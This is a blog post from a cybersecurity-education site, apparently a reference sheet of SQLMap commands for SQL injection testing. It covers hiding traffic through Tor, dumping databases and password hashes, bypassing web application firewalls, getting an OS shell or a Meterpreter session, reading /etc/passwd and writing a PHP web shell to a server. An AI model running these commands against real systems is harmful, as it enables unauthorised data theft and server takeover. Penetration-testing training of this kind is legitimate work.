Skip to content
-
Learn Cybersecurity & Ethical Hacking in Nepal with CyberSamir — Start Learning →
Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
Close

Search

Subscribe
  • Facebook
  • Telegram
  • Instagram
  • Youtube
  • Linkedin
  • Whasapp
Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
Close

Search

Subscribe
  • Facebook
  • Telegram
  • Instagram
  • Youtube
  • Linkedin
  • Whasapp
SQLMap advanced cheat sheet for SQL injection testing
Blog

SQLMap Advanced Cheat Sheet

By cybersamir
February 18, 2026 2 Min Read
Comments Off on SQLMap Advanced Cheat Sheet
Advertisement

SQLMap Advanced Cheat Sheet

Complete reference: From basic Injection to OS Takeover & WAF Bypass.

Jump To Section

  • Auth & Connections
  • Enumeration
  • Data Extraction
  • WAF Bypass
  • OS Takeover
  • Advanced Injection
  • Optimization

1. Authentication & Anonymity

Essential flags for connecting to secured targets or remaining hidden.

Request Files (The “Pro” Way)

Instead of typing long URLs, save the raw HTTP request from Burp Suite to a file (e.g., req.txt).

sqlmap -r req.txt –batch

Proxy & Tor (OpSec)

FlagDescription
--torRoute traffic through default Tor network
--check-torVerify Tor IP is being used properly
--proxy="http://127.0.0.1:8080"Route through Burp Suite or Proxy
--random-agentUse random User-Agent (Avoids default block)
--mobileImitate a smartphone User-Agent

Authentication

sqlmap -u “http://target.com” –auth-type=Basic –auth-cred=”user:pass”
sqlmap -u “http://target.com” –cookie=”PHPSESSID=a8d7s9…”

2. Database Enumeration

Mapping out the database structure before dumping data.

Basic Recon

  • --banner: Get version info
  • --current-user: Who are we?
  • --current-db: Where are we?
  • --is-dba: Do we have Admin rights?

Structure Mapping

  • --dbs: List all Databases
  • --tables: List Tables in DB
  • --columns: List Columns in Table
  • --schema: List DBMS schema

Deep Dive

  • --users: List all DB users
  • --passwords: Dump password hashes
  • --privileges: List user privileges
  • --roles: List user roles

3. Data Extraction

Targeted Dumping

Don’t dump the whole database! Be surgical to avoid detection.

sqlmap -u [URL] -D users_db -T accounts -C “username,password,email” –dump

Search for Specific Data

Great for finding tables containing “admin” or “credit_card” without listing everything.

sqlmap -r req.txt –search -C “password”
sqlmap -r req.txt –search -T “admin”

Filtering Dumps

sqlmap -u [URL] –dump -T users –where=”id>50″ –start=1 –stop=10

4. WAF Bypass (Tamper Scripts)

Use tamper scripts to obfuscate payloads and bypass Web Application Firewalls.

Common Tamper Combinations

TargetSuggested Command
General / Unknown--tamper=between,randomcase,space2comment
MSSQL--tamper=between,charencode,charunicodeencode
MySQL--tamper=between,bluecoat,sp_password

Other Bypass Flags

  • --hpp: HTTP Parameter Pollution (splits payload across variables).
  • --delay=2: Slow down requests to avoid rate limiting.
  • --csrf-token="mytoken": Automatically handle anti-CSRF tokens.

5. OS Takeover Dangerous

Requires DBA privileges. These commands write files to the server.

OS Shell

Get a command prompt on the server (via xp_cmdshell, or file upload).

sqlmap -u [URL] –os-shell

Metasploit Integration (OS Pwn)

Spawns a Meterpreter session automatically.

sqlmap -u [URL] –os-pwn –msf-path=/usr/share/metasploit-framework/

File System Access

sqlmap -u [URL] –file-read=”/etc/passwd”
sqlmap -u [URL] –file-write=”shell.php” –file-dest=”/var/www/html/shell.php”

6. Advanced Injection Points

Custom Injection Point (*)

If SQLMap can’t find the parameter, or you want to inject into a URI or JSON, use the asterisk *.

URI Injection:

sqlmap -u “http://target.com/user/1*/profile”

JSON Injection (in -r file):

{“id”: “1*”, “name”: “test”}

Force Technology

Save time if you already know the backend.

sqlmap -u [URL] –dbms=mysql
sqlmap -u [URL] –os=linux

7. Performance & Optimization

FlagFunction
--threads=10Increase concurrent requests (Default: 1)
--null-connectionGet page length without body (saves bandwidth)
--keep-aliveUse persistent HTTP connections
--predict-outputPredict common queries (Stats tables, etc.)
-v 3Show the actual payloads being sent

Tags:

cybersecurity toolsethical hackingowasppenetration testingSQL InjectionSQLMapWeb Security
Author

cybersamir

Follow Me
Other Articles
Previous

Top 10 Vulnerability Scanners in 2026: Comprehensive Security Guide

Cross-Site Request Forgery (CSRF): Complete Guide to Understanding and Prevention
Next

Cross-Site Request Forgery (CSRF): Complete Guide to Understanding and Prevention

Your ad here

300 x 250 banner slot

Reach Nepali students, developers, and security learners reading about ethical hacking, CTFs, and cyber news.

Book on WhatsApp Or send an email

Sponsors: VPNs, courses, hosting, security tools

Recent Posts

  • How to Recover Money from Online Scam Nepal: 2026 Guide
  • How to Check If Your Data Was Leaked (Nepal 2026 Guide)
  • Is PHP Dead? A 2026 Reckoning
  • Nepal Cyber Shield CTF: Top 10 Teams Qualified for the Grand Finale
  • How to Report Cybercrime in Nepal: Step-by-Step Guide (2026)

Nepal Cyber Shield 2026

Been scammed or hacked?

Act fast: save screenshots, don't delete chats, and report it.

  • 100 Nepal Police emergency line
  • +9779851286770 Nepal Police Cyber Bureau
Report here (Nepal Police) Read the step-by-step reporting guide

Money lost? Call your bank first so they can try to freeze the transfer.

Categories

  • Awareness
  • Blog
  • Career & Learning
  • Cybersecurity
  • Ethical Hacking
  • Nepal Tech & Digital Safety
  • News
  • Penetration testing
  • Tools & Reviews

Latest security alerts

  • ARTEX AI Hacking Tool Used by Cybercriminals Can Be Hacked by Its Own Targets
  • New Protopterus Windows Spyware Found Targeting Families of Azerbaijani Political Prisoners
  • USB2Shell Linux Kernel Flaw Lets Malicious USB Devices Gain Root Access Without Login
  • Hackers Breach Canada's Military Export Permit System in Suspected AI-Assisted Attack
  • Hackers Target Critical WP Rocket Flaw Allowing Unauthenticated Remote Code Execution
  • PHP Vulnerability And Global Cybersecurity - The Rising Nepal
  • Nepal's digital vulnerability goes beyond PHP - myRepublica
  • SEBON introduces IT policy to strengthen cybersecurity in Nepal’s capital market - OnlineKhabar English News
  • SEBON steps up effort to prevent cyber attacks in stock exchange platform - myRepublica
  • From heartbleed to PHP2Shell: Is Nepal ready for the next cyber crisis? - The Annapurna Express

You May Have Missed

how to recover money from online scam Nepal
Awareness

How to Recover Money from Online Scam Nepal: 2026 Guide

cybersamir
By cybersamir
November 28, 2026
data leak check nepal
Awareness

How to Check If Your Data Was Leaked (Nepal 2026 Guide)

cybersamir
By cybersamir
November 26, 2026
Cinematic PHP programming thumbnail with the headline “Is PHP Dead? 2026 Reckoning,” a glowing blue PHP elephant, and CyberSamir branding.
Awareness

Is PHP Dead? A 2026 Reckoning

cybersamir
By cybersamir
October 25, 2026
ctf top 10 selected teams
News

Nepal Cyber Shield CTF: Top 10 Teams Qualified for the Grand Finale

cybersamir
By cybersamir
October 4, 2026
How to report cybercrime in Nepal Cyber Bureau complaint guide
Awareness

How to Report Cybercrime in Nepal: Step-by-Step Guide (2026)

cybersamir
By cybersamir
September 27, 2026
Nepal Data Breach: 462,600 Citizens' IDs Allegedly Leaked," subtext "Dark web forum post claims mass PII theft from a .gov.np portal
News

Nepal Government Portal Allegedly Breached: 462,600 Citizens’ Data Reportedly Listed for Sale on Dark Web

cybersamir
By cybersamir
September 24, 2026
Cybersecurity

Top 10 Security Mistakes Nepali Websites Still Make in 2026

cybersamir
By cybersamir
September 23, 2026
News Cybersecurity

Nepal Data Hub Ransomware Attack: NEPSE Shutdown Explained

cybersamir
By cybersamir
September 23, 2026
News

Nepal Cyber Shield 2026: Everything You Need to Know About Nepal’s National CTF Championship

cybersamir
By cybersamir
September 19, 2026
CS

CYBERSAMIR

Explore. Hack. Secure. Learn.

About Us

CyberSamir provides cutting-edge insights into ethical hacking, penetration testing, and cybersecurity defense strategies for professionals and enthusiasts alike.

500+ Articles
15K+ Members
30+ Tools

Resources

  • Tutorials
  • Our Services
  • Tools
  • CTF Walkthroughs
  • Security News

Community

  • WhatsApp Group
  • Discord Server
  • Telegram Group
  • Upcoming Events
  • Certifications

Follow Us

Cyber Security Events Worldwide

© CyberSamir. All Rights Reserved.

Copyright 2026 — Cyber Samir. All rights reserved. Blogsy WordPress Theme